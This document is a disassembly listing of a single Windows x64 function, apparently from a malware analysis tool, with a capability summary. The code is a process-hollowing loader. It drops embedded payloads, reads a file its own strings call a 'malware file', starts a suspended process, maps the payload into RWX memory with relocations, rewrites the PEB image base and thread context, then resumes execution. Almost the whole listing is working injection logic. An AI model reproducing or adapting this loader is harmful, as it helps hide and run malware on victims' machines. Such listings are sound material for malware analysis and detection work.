Function at 0x140001500
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Get file size
Read file on windows
Resume thread
Use process replacement
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x650]
sub rsp, 0x750
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x640], rax
xor edx, edx
mov r8d, 0x118
lea rcx, [rbp + 0x520]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x520]
call fcn.140002a10
nop
lea r15, [0x1400105f0]
mov rdx, r15
cmp qword [0x140010608], 0xf
cmova rdx, qword [0x1400105f0]
lea rcx, [rbp + 0x520]
call fcn.140002dd0
mov rcx, r15
cmp qword [0x140010608], 0xf
cmova rcx, qword [0x1400105f0]
xor r13d, r13d
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0xc0000000
mov r8d, 7
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp qword [rbp + 0x5b8], r13
je 0x1400015e8
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8d, 0x2c00
lea rdx, [0x14000d0c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rbp + 0x538]
call fcn.140002d10
test rax, rax
jne 0x14000161c
mov rax, qword [rbp + 0x520]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x520]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x520]
call fcn.140001440
xor edx, edx
mov r8d, 0x118
lea rcx, [rbp + 0x520]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x520]
call fcn.140002a10
nop
lea rsi, [0x140010610]
mov rdx, rsi
cmp qword [0x140010628], 0xf
cmova rdx, qword [0x140010610]
lea rcx, [rbp + 0x520]
call fcn.140002dd0
mov rcx, rsi
cmp qword [0x140010628], 0xf
cmova rcx, qword [0x140010610]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0xc0000000
mov r8d, 7
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp qword [rbp + 0x5b8], 0
je 0x1400016e0
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8d, 0x5000
lea rdx, [0x1400080c0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
lea rcx, [rbp + 0x538]
call fcn.140002d10
test rax, rax
jne 0x140001714
mov rax, qword [rbp + 0x520]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x520]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x520]
call fcn.140001440
cmp qword [0x140010628], 0xf
cmova rsi, qword [0x140010610]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001786
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rsi
lea rcx, str.Failed_to_open_file__s.___i__n
call fcn.140001160
jmp 0x140001828
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r14d, eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8d, r14d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r12, rax
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x1400017d8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov edx, r14d
lea rcx, str.Failed_to_allocate_heap_memory_of_size__i.___i__n
call fcn.140001160
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001828
mov qword [rsp + 0x20], r13
xor r9d, r9d
mov r8d, r14d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x14000183e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, rsi
lea rcx, str.Failed_to_read_file__s.___i__n
call fcn.140001160
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.Failed_to_read_malware_file._n
call fcn.140001160
mov eax, 0xffffffff
jmp 0x140001de9
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rbx, [0x140010630]
cmp qword [0x140010648], 0xf
cmova rbx, qword [0x140010630]
cmp qword [0x140010608], 0xf
cmova r15, qword [0x1400105f0]
mov ecx, 0x18
call fcn.1400034f0
mov rdi, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4b0], xmm0
movups xmmword [rbp + 0x4c0], xmm0
movups xmmword [rbp + 0x4d0], xmm0
movups xmmword [rbp + 0x4e0], xmm0
movups xmmword [rbp + 0x4f0], xmm0
movups xmmword [rbp + 0x500], xmm0
mov qword [rbp + 0x510], rax
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], rax
mov qword [rsp + 0x48], rdi
lea rax, [rbp + 0x4b0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140001912
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, r15
lea rcx, str.Failed_to_create_process__s.___i__n
call fcn.140001160
jmp 0x140001977
mov qword [rsp + 0x20], r13
mov r9d, 0x30
lea r8, [rbp - 0x78]
xor edx, edx
mov rcx, qword [rdi]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
jns 0x140001940
mov edx, eax
lea rcx, str.NtQueryInformationProcess_failed___i__n
call fcn.140001160
jmp 0x140001977
mov qword [rbp - 0x80], r13
mov qword [rbp + 0x4a0], r13
mov rdx, qword [rbp - 0x70]
add rdx, 0x10
lea rax, [rbp + 0x4a0]
mov qword [rsp + 0x20], rax
mov r9d, 8
lea r8, [rbp - 0x80]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test rdi, rdi
jne 0x14000198d
lea rcx, str.Failed_to_hollow_target_process._n
call fcn.140001160
mov eax, 0xfffffffe
jmp 0x140001de9
movsxd r15, dword [r12 + 0x3c]
add r15, r12
mov qword [rsp + 0x70], r15
lea rsi, [r15 + 0x30]
mov qword [rsp + 0x78], rsi
mov r8d, dword [r15 + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rsi]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x140001a17
mov r8d, dword [r15 + 0x50]
mov rdx, qword [rsi]
lea rcx, str.Failed_to_allocate_memory_in_target_process_with_preferred_base_address_0x_p_of_size_0x_x._Allocating_randomly._n
call fcn.140001160
mov r8d, dword [r15 + 0x50]
mov dword [rsp + 0x20], 0x40
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x140001a17
lea rcx, str.Failed_to_allocate_memory_in_target_process._n
call fcn.140001160
mov eax, 0xfffffffd
jmp 0x140001de9
mov qword [rsi], r13
mov r9d, dword [r15 + 0x54]
mov qword [rsp + 0x20], 0
mov r8, r12
mov rdx, r13
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001a50
lea rcx, str.Failed_to_write_PE_headers_into_the_target_process._n
call fcn.140001160
mov eax, 0xfffffffc
jmp 0x140001de9
xor eax, eax
mov ebx, eax
cmp ax, word [r15 + 6]
jae 0x140001b0a
mov qword [rsp + 0x58], r12
nop dword [rax]
nop dword [rax + rax]
mov eax, ebx
lea rdx, [rax*4 + 0x21]
movsxd rcx, dword [r12 + 0x3c]
add rcx, r12
add rdx, rax
lea rsi, [rcx + rdx*8]
mov r8, rsi
mov rdx, rsi
lea rcx, str.Section_header__s_at_0x_p_n
call fcn.140001160
mov edx, dword [rsi + 0x14]
add rdx, r12
lea rcx, str.__Source:_0x_p_n
call fcn.140001160
mov edx, dword [rsi + 0xc]
add rdx, r13
lea rcx, str.__Target:_0x_p_n
call fcn.140001160
mov edx, dword [rsi + 0x10]
lea rcx, str.____Size:_0x_x_n
call fcn.140001160
mov r9d, dword [rsi + 0x10]
mov r8d, dword [rsi + 0x14]
add r8, r12
mov edx, dword [rsi + 0xc]
add rdx, r13
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140001c52
inc ebx
movzx eax, word [r15 + 6]
cmp ebx, eax
jl 0x140001a70
lea rsi, [r15 + 0x30]
cmp r13, qword [rsi]
je 0x140001d24
lea rcx, str.reloc_needed_
call fcn.140001160
mov rax, qword [r15 + 0xb0]
mov qword [rsp + 0x60], rax
mov rax, r13
sub rax, qword [rsi]
mov qword [rsp + 0x50], rax
movsxd r9, dword [r12 + 0x3c]
xor r10d, r10d
mov edx, r10d
movzx r8d, word [r9 + r12 + 6]
test r8d, r8d
je 0x140001b88
mov ebx, 0x6c65722e
mov r11d, 0x636f
nop word [rax + rax]
mov eax, edx
lea rax, [rax + rax*4]
lea rax, [rax + 0x21]
lea rax, [r12 + rax*8]
add rax, r9
mov qword [rsp + 0x68], rax
cmp ebx, dword [rax]
jne 0x140001b81
cmp r11w, word [rax + 4]
je 0x140001b90
inc edx
cmp edx, r8d
jl 0x140001b60
mov rax, r10
mov qword [rsp + 0x68], rax
mov ebx, r10d
mov ecx, dword [rsp + 0x64]
test ecx, ecx
je 0x140001d24
nop
mov eax, dword [rax + 0x14]
mov r15d, ebx
add rax, r12
add r15, rax
mov eax, dword [r15 + 4]
sub rax, 8
shr rax, 1
add ebx, 8
test eax, eax
je 0x140001d0d
mov r14, r10
mov r12d, eax
nop dword [rax + rax]
mov eax, ebx
add rax, r15
add ebx, 2
movzx eax, word [r14 + rax]
movzx ecx, ax
shr ax, 0xc
test ax, ax
je 0x140001cf6
and ecx, 0xfff
add ecx, dword [r15]
cmp ax, 0xa
jne 0x140001c6b
mov esi, ecx
add rsi, r13
mov qword [rsp + 0x20], r10
mov r9d, 8
lea r8, [rbp + 0x498]
mov rdx, rsi
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140001c37
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ReadProcessMemory_failed_to_read_patched_reloc_address.___i__n
call fcn.140001160
mov rax, qword [rsp + 0x50]
add qword [rbp + 0x498], rax
mov r9d, 8
lea r8, [rbp + 0x498]
jmp 0x140001cc8
mov rdx, rsi
lea rcx, str.Failed_to_write_section__s_into_the_target_process._n
call fcn.140001160
mov eax, 0xfffffffc
jmp 0x140001de9
cmp ax, 3
jne 0x140001cf6
mov esi, ecx
add rsi, r13
mov qword [rsp + 0x20], r10
mov r9d, 4
lea r8, [rbp + 0x490]
mov rdx, rsi
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140001cb0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.ReadProcessMemory_failed_to_read_patched_reloc_address.___i__n
call fcn.140001160
mov rax, qword [rsp + 0x50]
add dword [rbp + 0x490], eax
mov r9d, 4
lea r8, [rbp + 0x490]
xor eax, eax
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001cf3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WriteProcessMemory_failed_to_write_patched_reloc_address.___i__n
call fcn.140001160
xor r10d, r10d
add r14, 2
sub r12, 1
jne 0x140001bd0
mov r12, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x64]
cmp ebx, ecx
mov rax, qword [rsp + 0x68]
jb 0x140001ba0
mov r15, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov ebx, dword [r15 + 0x28]
add rbx, r13
mov rdx, rbx
lea rcx, str.Entry_point:_0x_p_n
call fcn.140001160
xor edx, edx
mov r8d, 0x4d0
lea rcx, [rbp - 0x40]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp - 0x10], 0x10000b
lea rdx, [rbp - 0x40]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x140001d72
lea rcx, str.____An_error_occured_when_trying_to_get_the_thread_context._n
call fcn.140001160
jmp 0x140001de7
mov rdx, qword [rbp + 0x48]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9d, 8
mov r8, rsi
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140001da5
lea rcx, str.____An_error_occured_when_trying_to_write_the_image_base_in_the_PEB._n
call fcn.140001160
jmp 0x140001de7
mov qword [rbp + 0x40], rbx
lea rdx, [rbp - 0x40]
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x140001dc9
lea rcx, str.____An_error_occured_when_trying_to_set_the_thread_context._n
call fcn.140001160
jmp 0x140001de7
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, r12
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
mov rcx, qword [rbp + 0x640]
xor rcx, rsp
call fcn.1400034d0
lea r11, [rsp + 0x750]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret